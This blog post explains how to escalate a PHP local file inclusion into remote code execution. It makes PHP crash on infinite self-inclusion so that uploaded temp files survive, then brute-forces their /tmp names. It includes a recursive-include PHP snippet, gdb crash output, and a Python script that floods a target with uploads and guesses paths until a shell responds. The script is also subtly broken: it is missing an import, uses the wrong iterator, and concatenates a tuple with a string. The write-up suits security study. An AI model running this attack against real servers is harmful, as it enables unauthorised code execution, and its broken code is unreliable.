Artificial truth

The more you see, the less you believe.

[archives] [latest] | [homepage] | [atom/rss]

From LFI to RCE in php
Fri 24 June 2016 — download

Stupid LFI logo, saying that Inclusion is for everyone, even PHP

Everyone knows about the (hopefully dead) /proc/self/environ and /var/log/apache2/error.log tricks to get a shell from a LFI, but it seems that only a few people knows about the tmp_name one.

It's better than every other techniques (that I know about), because it doesn't require anything else than a LFI, while the others require either access to /proc or to /var/log, a controllable string in $_SESSION, …

It was originally found by Gynvael Coldwind in 2011, and later improved by Brett Moore: This article is about an improvement of those techniques.

As stated in the documentation, when someone uploads a file in a RFC-1867 way, files will by default be stored in the server's default temporary directory, then the file will be deleted from the temporary directory at the end of the request if it has not been moved away or renamed.

It would be great if we could include this temporary file with our LFI, winning the race against its deletion, by sending a second request right after the upload. Unfortunately, tmp_name is a 6 mixed-case alphanumeric characters, powered by mkstemp on Linux, so it's super-unlikely that we'll get its name right in a one-shot.

If only we could find a way to prevent php from removing the file… fortunately, php being php, it crashes with a nice SIGSEGV upon infinite recursive inclusion, thus not removing the tempfile!

So the file :

<?php
include 'test.php';

Will result in:

$ gdb -q =php
Reading symbols from /usr/bin/php...(no debugging symbols found)...done.
(gdb) r -f test.php
Starting program: /usr/bin/php -f test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00005555557deb60 in ?? ()
(gdb) bt 24
#0  0x00005555557deb60 in ?? ()
#1  0x00005555557dfd31 in virtual_file_ex ()
#2  0x00005555557e120f in tsrm_realpath ()
#3  0x000055555575751e in php_resolve_path ()
#4  0x00007fffecd6ce19 in phar_find_in_include_path () from /usr/lib/php/20151012/phar.so
#5  0x000055555576bc2e in _php_stream_open_wrapper_ex ()
#6  0x0000555555750799 in php_stream_open_for_zend_ex ()
#7  0x00005555557ce104 in zend_stream_fixup ()
#8  0x000055555577a606 in open_file_for_scanning ()
#9  0x000055555577a981 in compile_file ()
#10 0x00005555557a1682 in dtrace_compile_file ()
#11 0x00007fffecd86710 in ?? () from /usr/lib/php/20151012/phar.so
#12 0x000055555577acd3 in compile_filename ()
#13 0x00005555558412b7 in ?? ()
#14 0x00005555557f116b in execute_ex ()
#15 0x00005555557a1741 in dtrace_execute_ex ()
#16 0x00005555558413bc in ?? ()
#17 0x00005555557f116b in execute_ex ()
#18 0x00005555557a1741 in dtrace_execute_ex ()
#19 0x00005555558413bc in ?? ()
#20 0x00005555557f116b in execute_ex ()
#21 0x00005555557a1741 in dtrace_execute_ex ()
#22 0x00005555558413bc in ?? ()
#23 0x00005555557f116b in execute_ex ()
(More stack frames follow...)

So the plan is to:

  1. Upload a file and trigger a self-inclusion.
  2. Repeat 1 a shitload of time to:
    • increase our odds of winning the race
    • increase our guessing odds
  3. Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
  4. Enjoy our shell.

Something like that:

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')

Thanks to blotus for the tips ;)